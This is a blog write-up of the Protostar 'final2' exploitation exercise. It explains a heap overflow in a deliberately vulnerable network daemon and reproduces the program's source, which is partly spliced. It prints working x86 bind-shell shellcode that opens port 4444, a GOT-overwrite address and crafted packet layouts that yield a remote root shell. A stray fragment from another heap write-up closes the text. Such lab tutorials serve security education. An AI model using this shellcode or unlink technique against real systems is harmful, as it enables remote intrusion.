#include "../common/common.c"
#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start = 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
Intro
This is the last level in this series of exercises. In this exercise I will show how to do a remote exploit by attacking a program which uses a vulnerable Doug Lea malloc implementation. To pass this level I used mostly the same technique as in Heap3 level which exploits local Doug Lea malloc implementation. To not repeat myself, I suggest reading how Heap3 exploit works before doing this level.
Program flow: From main(), the program begins by daemonizing itself, accepting incoming connections, redirecting I/O to client socket and then calling the get_requests() function. Function get_requests() will accept up to 256 packets of length 128 bytes and for each packet, it will allocate and zero-out a chunk on the heap. If the packet begins with the keyword “FSRD“, the string which the packet consists of will be passed as an argument to the check_path() function. The check_path() will first try to find the “/” character index inside the provided string and the length from that position to the end of the packet. Note that character “/” needs to be found in order to continue the execution of this function. Next, the function will try to find the substring “ROOT” inside the provided string. This substring needs to be found in order to continue execution of the program. After finding the location of “ROOT”, it finds the location of the first “/” character which precedes the “ROOT” string. Note that this part is important because this is where the vulnerability lays. After that, memmove() will copy l bytes starting from position p and copy them to location pointed by start. The following printf() is omitted from the binary provided in the virtual machine so I will ignore it. After returning from check_path(), the get_requests() function will free all the space allocated by calloc and exit.
Vulnerability: The vulnerable part of this program is at line 26. If we look carefully, we can see that the program won’t check if “ROOT” comes before or after the “/” sign, so by providing the “/” character after the “ROOT” substring, code at line 26 will try to find the “/” character preceding “ROOT” substring and it won’t find it in current heap chunk, but it will “overflow” the search to the chunk preceding it, which, if it’s found, will allow us to overwrite data from the previous chunk using memmove(). This allows us to cause heap overflows and overwrite heap chunk headers of neighboring allocated chunks and thus allowing us to manipulate memory when free() gets called on that compromised chunk.
Approach: From this point on I will assume that you are familiar with basics of how the heap works, what is the difference between free and allocated chunks, what merging forwards and backwards is and how unlink() works. You can learn about all of this from my previous Heap3 blog post. The main idea for solving this level is to trick the memmove() call to overwrite previous chunk with enough data so it overflows into the current chunk and change it’s header data so when the current chunk gets free()‘d, it will enable us to do an arbitrary write, thus allowing us to overwrite a GOT entry of some function and point it to the shellcode we made which will in turn spawn a shell listening on port 4444 at server side.
Solution
Considering everything said before, I suggest the following steps:
- Make shellcode.
- Find address of GOT entry we want to overwrite.
- Find address of shellcode.
- Craft exploit.
- Execute exploit.
Step1: Because the shellcode from the previous level would suffice, I used that one. Shellcode will spawn a shell and bind it to TCP port 4444 so we can connect to it and get root access. It is also prepended with 24 bytes of NOP sled. Shellcode looks like this:
shellcode = “\x90” * 24
shellcode += “\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80” \ “\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a” \ “\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0” \ “\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f” \ “\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0” \ “\x0b\xcd\x80\x00”
Step2: Because the exploit will only work after free() gets called, we need to find some function which will get called after that and overwrite its GOT entry with the address of our shellcode. The after disassembly of function get_requests(), we can see that a suitable function would be the function write() whose GOT entry is at 0x0804d41c. This is shown in the image below:

Image 1: Write() function’s GOT entry is located at 0x0804d41c
Step 3: To find the address of our shellcode, we first need to put it somewhere. The only thing that came to my mind was to put it inside a 128 byte packet which will get stored on the heap. So it’s simple, using GDB we can set a breakpoint after calloc() and read() and see where exactly our shellcode will be located.

Image 2: location of the first allocated chunk at 0x0804e008

Image 3: location of shellcode inside the first allocated chunk
From Image 3 we can see the locations of the beginning of shellcode by looking at the location of the NOP sled (where “\x90” bytes begin). To be sure to jump to the shellcode, I used an address inside the NOP sled. The address I chose was 0x0804e01c.
Step 4: Crafting the exploit. First let’s see how the heap looks after 2 packets had arrived:

Image 4: Heap state after 2 packets arrived
So when the second packet arrives, it is located immediately after the first one on the heap. I know that we couldn’t be sure that this will always happen, but this malloc implementation seems to do put them this way every time. We can see that the first packet data, if overflowed, could overwrite second packet’s header data, that is prev_size and size bytes. Also note that each packets data is exactly 128 bytes in size. What will be the content of first packet? First packet’s data will look like this:
“FSRD” + “/” + “A” * 8 + shellcode + “A….A” + “ROOT” + “/”
If you read the intro part, we know that after check_path() gets executed, it will just copy the string starting from the first “/” and put it at the same location, effectively doing nothing useful and changing nothing. There is a 8 byte padding before shellcode for the same reason I used it in Heap3, because when free() gets called, it writes some bytes at that location which could overwrite part of our exploit, making it unable to execute or corrupt it. Bytes “A…A” after shellcode mean that they spread until the last “ROOT/” bytes at the end of the packet. The second packet’s data will look like this:
“FSRD” + “ROOT” + “/” + 0xfffffff8 + 0xfffffffc + (GOT_ADDR-12) + SHELLCODE_ADDR + “C…C”
Very similar to the previous one. If you read Heap3, you know that the bytes 0xfffffff8 (which is -8) and 0xfffffffc (which is -4) are used when overwriting a heap chunk header’s data. (GOT_ADDR-12) denotes the offset from the address that will get overwritten with SHELLCODE_ADDR, again, if this is not clear to you, read about it in Heap3. At the end there is just a padding of “C” bytes to fill up the packet until 128 bytes are reached.
When check_path() gets called upon the second packet, the p pointer will point to the “/” character after “ROOT”, and start pointer, will point to the last “/” character in the previous packet (packet number one) because there is no “/” character in this packet that precedes the “ROOT” substring, thus “overflowing” the search to the previous packet. After that, the memmove() function will write everything after the “/” character from the second packet to the “/” character found at the end of the first packet, thus overflowing the first packet and overwriting the second packet’s headers and data field in a controllable manner. The heap will then look like this:

Image 5: Heap state after check_path() gets executed on second chunk
We created an artificial chunk inside the second chunk’s data segment which will allow us to do an arbitrary write operation when unlink() gets executed. When unlink() gets executed, it will write our shellcode address SHELLCODE_ADDR to the (GOT_ADDR-12)+12 = GOT_ADDR GOT entry address.
After this is done, the next call to write() will trigger our shellcode to get executed, spawning a remote shell. Notice one more thing: we need another, dummy chunk (third one) for write() to get called, because the write() function is executed before each free() call so another chunk is needed.
Step 5: Executing the exploit. I wrote a simple attacking script for this level which can be found at my GitHub page here. After executing it and connecting to the remote machine port 4444, we can see that the shell was successfully spawned and we now have root access:

As always, thanks for reading!


























4a008, at which is the content of the priority field (set to 1). Little before that is a field with 0x00000011. This field represents how many bytes does the allocation take and the last bit (PREV_INUSE flag bit is set, look at [1]) means that the previous chunk is allocated and because of that, the 0x00000000 bytes starting at address 0x804a000 represent user data (the same goes with the other chunks). We can also see that consecutive malloc calls gave consecutive accessible memory regions starting at: 0x804a008, 0x804a018, 0x804a028, 0x804a038.



